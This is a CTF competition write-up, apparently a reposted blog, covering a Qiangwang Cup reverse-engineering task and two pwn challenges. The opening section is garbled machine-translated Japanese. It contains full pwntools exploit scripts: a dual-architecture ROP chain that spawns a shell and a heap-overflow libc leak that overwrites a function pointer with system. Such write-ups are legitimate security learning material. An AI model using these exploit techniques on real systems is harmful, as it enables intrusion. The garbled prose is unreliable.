問題へのサインPWNソリューション再強いネットカップ記号

自閉症を戦うために強力なネットカップは、私はかなり良い感じパイオニア3血液をつかむために同情が、高速の手の速度の最初のページに入ることが最後ではありません

私は、強力な抗チートネットワークは本当にフラグができるすべての人のために同じではありません本当によく再実行できることを言わなければなりません

そして、PWN問題ではなく、本当にチームのトークンで彼のショーを行っての強力なネットワークが残っています

私は再してみましょう

フラグを導出することができます

ただ、再

対象は符号問題とみなすことができます

機能を修復することがまず第一に

上記xmmword_405018の変更はなく、変更されませんでしたがとても直接ここに私たちをloc_404148

スクリプトIDCの修復機能を書きます

auto i=0;
while(i<0x60)
{
   PatchByte(0x004018A0+i,Byte(0x00404148+i));
   i++;

}

その後のようになってきた機能を削除してから、コード内の関数を作成します

しばらく注意しながら行います

分析上記loc_404148が同じコードであり、動的解析がODを示し、上記で述べました

V11は、8もV3に変換される前に、当然の進値に変換として、私たちの最後の二つであります

その後、我々はここに置くことができます   

*(&xmmword_405018 + V20)=(V20 + V3)^(0x1010101 * V11 + *(&xmmword_405018 + V20))。

変換

*(&xmmword_405018 + V20)^(0x1010101 * V11 + *(&xmmword_405018 + V20))=(V20 + V3)

その後、我々はできると理由V20プラス1サイクルあたり

ここでは、スクリプトを記述するためにこれを使用することができます

for i in range(100):

if Dword(0x404148)^(Dword(0x405018)+i*0x1010101)&0xffffffff==Dword(0x404148+4)^((Dword(0x405018+4)+i*0x1010101)&0xffffffff)-1:

print hex(i),hex(Dword(0x404148)^Dword(0x405018)+(i*0x1010101)&0xffffffff)

print "yes"

結果は、描画することができます

10を描画する前に

 私は、3DESのように感じます

 

暗号文は50 7C A9 E6 87 09 CE、FA 20 D5の0DのCF BB 97 90 6C 90 90 F6 B0 7B A6 A4 E8であります

キーがあるAFSAFCEDYCXCXACNDFKDCQXC

 

フラグを取得します。

そして、PWN

PWN私は担当の私たちのブログの人の内容をコピーして貼り付けます

この2つの問題PWNあまりにも難しいが、初日ではないと私はとても頭が立ち往生しています。考えていません

強力なネットカップは、このタイトルの2つのバージョンがありpwn__stkof

最初に、私たちは、これが何を意味するのかに取得していません

 后来才知道这个题目是    要兼容两个版本   。。。

先看保护

[*] '/Volumes/\xe8\xbd\xaf\xe4\xbb\xb6/CTF/qwb/1/_stkof'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

main

两个版本的main函数都一样

int __cdecl main(int argc, const char **argv, const char **envp)
{
  puts("Welcome to QWB");
  puts("We give you a little challenge, try to pwn it?");
  vul();
  return 0;
}

分析

开始的时候以为随便打通一个程序就行了,重复了好多遍然后每个本地都打通了最后还是不行,最后才隐隐约约想到一个脚本把两个程序都打通的想法,我开始做题的时候就发现了buf长度不一样,所以最后发现得需要一个脚本打通两个程序

关键函数

#32位的
int vul()
{
  char v1; // [esp+Ch] [ebp-10Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  j_memset_ifunc(&v1, 0, 256);
  read(0, &v1, 0x300u);
  return puts(&v1);
}
#64位的
__int64 vul()
{
  __int64 v0; // rdx
  char buf; // [rsp+0h] [rbp-110h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  j_memset_ifunc(&buf, 0LL, 256LL);
  read(0, &buf, 0x300uLL);
  return puts(&buf, &buf, v0);
}

关键点在于buf到各自栈底ebp(rbp)的长度

利用64位rbp的位置存储32位的可用关键ropgadget

32位:0x080a69f2 : add esp, 0x20 ; ret

64位:0x000000000040cd18 : add esp, 0x80 ; ret

使各自不受影响即可,

本地脚本

from pwn import *

io = process('./__stkof')
int_0x80_addr = 0x080495a3
bss = 0x080DAFC4
pop_dx_cx_bx_ret = 0x0806e9f1
pop_edi_ret=0x08049b1b
pop_rax_ret = 0x080a8af6
read=0x0806C8E0
syscall = 0x0000000000461645
bss_64_addr = 0x6a4e40
pop_rdi_64_ret = 0x4005f6
pop_rsi_64_ret = 0x405895
pop_rdx_64_ret = 0x43b9d5
pop_rax_64_ret = 0x43b97c
add_64_80sp_ret = 0x40cd17
add_32_20sp_ret = 0x080a69f2
pay='A'*0x110
pay+=p32(add_32_20sp_ret)
pay+='A'*4
pay+=p64(add_64_80sp_ret)
pay+='A'*0x14
pay+=p32(read) 
pay+=p32(pop_dx_cx_bx_ret) 
pay+=p32(0) 
pay+=p32(bss) 
pay+=p32(0x8)  
pay+=p32(pop_rax_ret) 
pay+=p32(0xb) 
pay+=p32(pop_dx_cx_bx_ret) 
pay+=p32(0)  
pay+=p32(0) 
pay+=p32(bss)
pay+=p32(int_0x80_addr)
pay+='A'*0x3c
pay+=p64(pop_rdi_64_ret) 
pay+=p64(0x0) 
pay+=p64(pop_rsi_64_ret) 
pay+=p64(bss_64_addr) 
pay+=p64(pop_rdx_64_ret) 
pay+=p64(0x20) 
pay+=p64(pop_rax_64_ret) 
pay+=p64(0) 
pay+=p64(syscall) 
pay+=p64(pop_rax_64_ret) 
pay+=p64(0) 
pay+=p64(pop_rsi_64_ret) 
pay+=p64(0x0) 
pay+=p64(pop_rdx_64_ret) 
pay+=p64(0x0) 
pay+=p64(pop_rax_64_ret) 
pay+=p64(59) 
pay+=p64(pop_rdi_64_ret) 
pay+=p64(bss_64_addr) 
pay+=p64(syscall)
io.recv()
io.sendline(pay)
io.recv()
io.send('/bin/sh\x00')

io.interactive()
io.close()
io = process('./_stkof')
io.recv()
io.sendline(pay)
io.recv()
io.send('/bin/sh\x00')

io.interactive()
io.close()

不过当时 还有个坑爹的验证   有时候运气不好还会 让 在运行一次~

import hashlib,sys,socket,re
from struct import pack
from pwn import *
from struct import pack

r = remote()
r.recv()
data=r.recv()
print data
skr_sha256 = re.findall('hashlib.sha256\(skr\).hexdigest\(\)=(.*?)\n', data)[0]
skr = re.findall('skr\[0:5\].encode\(\'hex\'\)=(.*?)\n', data)[0].decode('hex')

while True:
    for i in range(255, 1, -1):
        for j in range(255, 1, -1):
            for k in range(255, 1, -1):
                temp = skr + chr(i) + chr(j) + chr(k)
                _sha256 = hashlib.new('sha256')
                _sha256.update(temp)
                if _sha256.hexdigest() == skr_sha256:
                    print temp.encode('hex'),i,j,k
                    r.send(temp.encode('hex')+'\r\n')
                    print r.recv(1024)
                    r.sendline()

可能有其它简约的版本把 我们没有想起来~~

第二题  强网先锋-ap 

这可是真正的水题了 但是呢  负责人这个人思想出了问题   看见没有人做出来就感受到了压力 就划水到 没有血 再搞 ·~~

然后这个题目   其实真简单 我虽然不是主pwn手 但这个题 真的我上我也行

[*] '/media/psf/AllFiles/Volumes/\xe8\xbd\xaf\xe4\xbb\xb6/CTF/qwb/main/task_main'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[~/Desktop/Link to qwb/main]$     

main

// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(*&argc, argv, envp);
  welcome(*&argc);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      _isoc99_scanf("%d", &v3);
      getchar();
      if ( v3 != 3 )
        break;
      Change();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 1337 )
        huangniu();
      else
LABEL_15:
        puts("something wrong!");
    }
    else if ( v3 == 1 )
    {
      Get();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_15;
      Open();
    }
  }
}

分析

简单来看是道菜单题,点进去看看

unsigned __int64 Get()
{
  _QWORD *v0; // rax
  int v1; // eax
  char size[12]; // [rsp+4h] [rbp-1Ch]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( number > 4 )
  {
    puts("We don't have too much tickets! Bye~");
    exit(0);
  }
  v0 = malloc(0x10uLL);
  *&size[4] = v0;
  v0[1] = &puts;
  puts("The length of my owner's name:");
  _isoc99_scanf("%d", size);
  getchar();
  buf = malloc(*size);
  puts("Give me my owner's name:");
  read(0, buf, (*size - 1));
  *(buf + (*size - 1)) = 0LL;
  **&size[4] = buf;
  v1 = number++;
  list[v1] = *&size[4];
  puts("OK! Give you a tickets of your own~");
  return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 Open()
{
  unsigned int v1; // [rsp+4h] [rbp-1Ch]
  void (__fastcall *v2)(_QWORD, unsigned int *); // [rsp+8h] [rbp-18h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Please tell me which tickets would you want to open?");
  _isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 > number )
  {
    puts("sorry you can't open this tickets!");
  }
  else
  {
    v2 = list[v1][1];
    puts("I'm a magic tickets.I will tell you who is my owner!");
    v2(*list[v1], &v1);
  }
  return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 Change()
{
  int v1; // [rsp+8h] [rbp-18h]
  unsigned int v2; // [rsp+Ch] [rbp-14h]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Please tell me which tickets would you want to change it's owner's name?");
  _isoc99_scanf("%d", &v2);
  getchar();
  if ( v2 > number )
  {
    puts("sorry you can't change this tickets!");
  }
  else
  {
    buf = *list[v2];
    puts("The length of my owner's name:");
    _isoc99_scanf("%d", &v1);
    getchar();
    puts("Give me my owner's name:");
    read(0, buf, (v1 - 1));
    puts("OK! I know my owner's new name!");
  }
  return __readfsqword(0x28u) ^ v4;
}

关键函数

unsigned __int64 Change()
{
  int v1; // [rsp+8h] [rbp-18h]
  unsigned int v2; // [rsp+Ch] [rbp-14h]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Please tell me which tickets would you want to change it's owner's name?");
  _isoc99_scanf("%d", &v2);
  getchar();
  if ( v2 > number )
  {
    puts("sorry you can't change this tickets!");
  }
  else
  {
    buf = *list[v2];
    puts("The length of my owner's name:");
    _isoc99_scanf("%d", &v1);
    getchar();
    puts("Give me my owner's name:");
    read(0, buf, (v1 - 1));
    puts("OK! I know my owner's new name!");
  }
  return __readfsqword(0x28u) ^ v4;
}

我们可以从这个关键函数看出漏洞利用点,可以执行堆溢出造成关键函数覆盖,把调用的puts覆盖成其他的

exp步骤

  1. 申请两个chunk
  2. 把第一个溢出填充到第二个的puts指针前
  3. open(0)来leak puts 的地址
  4. 然后计算libc的基址和system的地址
  5. 修改第一个覆盖第二个的两个指针
  6. 修改第二个chunk的puts指针为system地址,修改第二个chunk的name指针为/bin/sh的地址
  7. open(1)拿到shell

完整脚本

from pwn import *
context.log_level='debug'

io=process('./task_main')
#io=remote('49.4.15.125',30175)
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def get(b,a):
    io.sendline('1')
    io.sendlineafter("The length of my owner's name:\n",str(b))
    io.sendafter("Give me my owner's name:\n",a)

def open(a):
    io.sendline('2')
    io.sendlineafter("Please tell me which tickets would you want to open?\n",str(a))

def change(a,b):
    io.sendline('3')
    io.sendlineafter("Please tell me which tickets would you want to change it's owner's name?\n",str(a))
    io.sendlineafter("The length of my owner's name:",str(len(b)+1))
    io.sendafter("Give me my owner's name:",b)

io.recv()
get(20,'aaaa')
get(20,'bbbb')
change(0,'a'*40)
io.recv()
open(0)
io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
puts_addr=u64(io.recv(6).ljust(8,'\x00'))
log.success('puts_addr:'+hex(puts_addr))
libc_base=puts_addr-libc.symbols['puts']
log.success('libc_base:'+hex(libc_base))
bin_sh_addr=libc_base+libc.search('/bin/sh\x00').next()
system_addr=libc_base+libc.symbols['system']
pay='a'*0x10+p64(0)+p64(21)+p64(bin_sh_addr)+p64(system_addr)
change(0,pay)
open(1)
#gdb.attach(io)
#pause()
io.interactive()

这样就成功的get到flag

总结: 第一天自闭的不应该 起码能够做出那道水题 一开始我都把函数恢复出来了 但是 那个函数 由于这个比赛 我个人感觉很难 还以为是出题人自己实现的加密方式   然后 就没有做出来 这里也体现出了我密码学确实不扎实   3DES 这么简单的加密算法都没有做出来 后来如果不是学长问我一句卡在哪里了 我还是没有做出来  自闭·~~~ 

不过能混个证书确实开心鸭~~~~~~

おすすめ

転載: blog.csdn.net/qq_41071646/article/details/90607928